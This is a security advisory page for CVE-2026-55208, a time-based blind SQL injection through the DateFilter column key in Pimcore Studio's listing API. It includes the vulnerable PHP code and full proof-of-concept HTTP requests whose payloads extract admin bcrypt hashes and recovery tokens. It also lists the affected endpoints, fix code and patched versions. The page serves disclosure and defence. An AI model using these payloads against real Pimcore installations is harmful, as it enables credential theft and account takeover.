CVE-2026-55208High· 7.7▾ TwilightPimcore: SQL Injection via Column Name in DateFilter allows authenticated user to extract arbitrary database data including admin password hashes
▾ Twilight zone — High severity, or a signal on a lesser flaw
impact 42.4 · likelihood 0.1 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Exploit-prediction probability, daily snapshots since Aug 28.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via GHSA
0.4%
An authenticated user extracts the admin password hash and any other database content through a time-based blind SQL injection in the DateFilter column key parameter. The POST /pimcore-studio/api/website-settings endpoint (and 11 other listing endpoints) accepts a columnFilters array where the key field is interpolated directly into SQL with only manual backtick wrapping. The DateFilter uses fixed named parameters (:minTime, :maxTime), so the injected column name is not subject to PDO named parameter validation. An attacker breaks out of the backtick quoting with a backtick character and appends arbitrary SQL, including SLEEP() for time-based extraction and IF() subqueries for conditional data exfiltration.
src/Listing/Filter/DateFilter.php lines 49-57 handle the on operator. The column key comes from user input and is placed in the SQL with manual backtick wrapping, while the named parameters are hardcoded as :minTime and :maxTime:
$key = $column->getKey(); // user-controlled, no validation
$dateCondition = '`' . $key . '` ' . ' BETWEEN :minTime AND :maxTime';
$listing->addConditionParam($dateCondition, ['minTime' => $value, 'maxTime' => ...]);
Because the named parameters are fixed strings, PDO accepts the binding regardless of what the column name contains.
src/Note/Service/FilterService.php lines 64-67:
$dateCondition = '`' . $filter[$propertyKey] . '` ' . ' BETWEEN :minTime AND :maxTime';
$list->addConditionParam($dateCondition, ['minTime' => $value, 'maxTime' => $maxTime]);
src/MappedParameter/Filter/ColumnFilter.php accepts any string as the key with zero validation or allowlisting.
Manual backtick wrapping ('`' . $key . '`') does not escape internal backtick characters. quoteIdentifier() doubles them, manual wrapping does not. A backtick in the key breaks out of the quoting and the -- (double dash space) comments out the remainder of the query:
Input: key = "id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- "
Produces:
(`id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- ` BETWEEN :minTime AND :maxTime)
Everything after -- is a SQL comment. The injected SLEEP(3) executes unconditionally.
LogRepository.php line 202: uses $this->dbResolver->get()->quoteIdentifier() (safe)ClassificationStore/Configuration/KeyRepository.php: uses ALLOWED_SORT_KEYS allowlist (safe)The EqualsFilter and LikeFilter have the same manual backtick wrapping, but they reuse the column name as the PDO named parameter (:columnName). PDO requires named parameters to match [a-zA-Z0-9_], so injection characters cause a parameter binding error before SQL execution. These filters are not exploitable through this vector. The DateFilter is exploitable because it uses independent fixed parameter names.
Tested on Pimcore 12.x (2026.x branch, latest commit 82f9ff6), Docker, PHP 8.4, MariaDB 10.11.
POST /pimcore-studio/api/website-settings HTTP/1.1
Host: localhost:8095
Content-Type: application/json
Cookie: PHPSESSID=<AUTHENTICATED_SESSION>
{"page":1,"pageSize":10}
Response: HTTP/1.1 200 OK -- totalItems: 1 -- 0.07 seconds
POST /pimcore-studio/api/website-settings HTTP/1.1
Host: localhost:8095
Content-Type: application/json
Cookie: PHPSESSID=<AUTHENTICATED_SESSION>
{"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}}
Response: HTTP/1.1 200 OK -- totalItems: 0 -- 6.07 seconds
The 6-second delay (3s x 2 queries: SELECT + COUNT) confirms SQL injection. The MySQL general log shows the injected SQL executed:
SELECT id FROM website_settings WHERE (`id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- ` BETWEEN :minTime AND :maxTime) ORDER BY `id` ASC LIMIT 50
This query tests whether the admin password hash starts with $2y$ (bcrypt, hex 0x24327924). If true, the server sleeps 3 seconds. If false, no delay.
POST /pimcore-studio/api/website-settings HTTP/1.1
Host: localhost:8095
Content-Type: application/json
Cookie: PHPSESSID=<AUTHENTICATED_SESSION>
{"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id` BETWEEN 0 AND 99999999999) AND IF((SELECT SUBSTRING(password,1,4) FROM users WHERE id=1)=0x24327924,SLEEP(3),0)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}}
Response: HTTP/1.1 200 OK -- 6.07 seconds (TRUE: admin password hash starts with $2y$)
Same query but testing for XXXX (hex 0x58585858) instead:
POST /pimcore-studio/api/website-settings HTTP/1.1
Host: localhost:8095
Content-Type: application/json
Cookie: PHPSESSID=<AUTHENTICATED_SESSION>
{"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id` BETWEEN 0 AND 99999999999) AND IF((SELECT SUBSTRING(password,1,4) FROM users WHERE id=1)=0x58585858,SLEEP(3),0)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}}
Response: HTTP/1.1 200 OK -- 0.07 seconds (FALSE: password does not start with XXXX)
| Request | Payload | Response Time | Meaning |
|---|---|---|---|
| Baseline | No injection | 0.07s | Normal |
| Unconditional SLEEP | AND SLEEP(3) | 6.07s | Injection confirmed |
| Conditional TRUE | IF(password starts with $2y$, SLEEP(3), 0) | 6.07s | Data extracted: hash is bcrypt |
| Conditional FALSE | IF(password starts with XXXX, SLEEP(3), 0) | 0.07s | Control: no match, no delay |
By iterating through characters with SUBSTRING(password, N, 1), an attacker extracts the full bcrypt hash for offline cracking, or extracts passwordRecoveryToken values for direct account takeover without cracking.
An authenticated user with website_settings permission (or any permission granting access to a listing endpoint with DateFilter support) extracts the full contents of any database table one character at a time through conditional time-based blind SQL injection.
Directly extractable high-value data:
users.password) for offline crackingusers.passwordRecoveryToken) for direct account takeover via POST /login/tokenAll endpoints using ListingFilter::applyFilters() with a DateFilter on column filter:
POST /pimcore-studio/api/website-settingsPOST /pimcore-studio/api/notificationsPOST /pimcore-studio/api/recycle-binPOST /pimcore-studio/api/redirectsPOST /pimcore-studio/api/translations/{domain}POST /pimcore-studio/api/quantity-value/unitsPOST /pimcore-studio/api/propertiesPOST /pimcore-studio/api/classification-store/{storeId}/keysPOST /pimcore-studio/api/classification-store/{storeId}/groupsPOST /pimcore-studio/api/classification-store/{storeId}/collectionsGET /pimcore-studio/api/notes/{elementType}/{id} (via Note FilterService fieldFilters)Replace manual backtick wrapping with Doctrine\DBAL\Connection::quoteIdentifier(), or implement a per-listing allowlist of valid column names:
// Option 1: quoteIdentifier (doubles internal backticks)
$db = \Pimcore\Db::get();
$dateCondition = $db->quoteIdentifier($key) . ' BETWEEN :minTime AND :maxTime';
// Option 2: allowlist (preferred)
private const ALLOWED_COLUMNS = ['id', 'name', 'date', 'type', 'creationDate', 'modificationDate'];
if (!in_array($key, self::ALLOWED_COLUMNS, true)) {
throw new InvalidArgumentException('Invalid filter column');
}
Apply the same fix to EqualsFilter, LikeFilter, and Note/FilterService as defense-in-depth, even though those are currently protected by PDO named parameter validation.
82f9ff6), Docker, PHP 8.4, MariaDB 10.11quoteIdentifier()) exists in the same codebase in LogRepository.php line 202pimcore/studio-backend-bundlepimcore/studio-backend-bundle < 2025.4.6pimcore/studio-backend-bundle >= 2026.1.0, < 2026.1.6Upgrade to a patched release:
pimcore/studio-backend-bundle 2025.4.6pimcore/studio-backend-bundle 2026.1.6Connected by shared product, vendor, weakness, or advisory.
CVE-2026-55207High· 8.8Pimcore: Account Takeover via Password Reset URL Injection allows unauthenticated attacker to hijack any admin account with 2FA bypass
CVE-2026-55416High· 8.8Pimcore is an Open Source Data & Experience Management Platform
CVE-2026-55634Critical· 9.9Pimcore is an Open Source Data & Experience Management Platform
CVE-2026-55072High· 8.5Pimcore is an Open Source Data & Experience Management Platform
CVE-2025-13811Medium· 6.3A vulnerability was determined in jsnjfz WebStack-Guns 1.0
CVE-2025-13788High· 7.3A vulnerability has been found in Chanjet CRM up to 20251106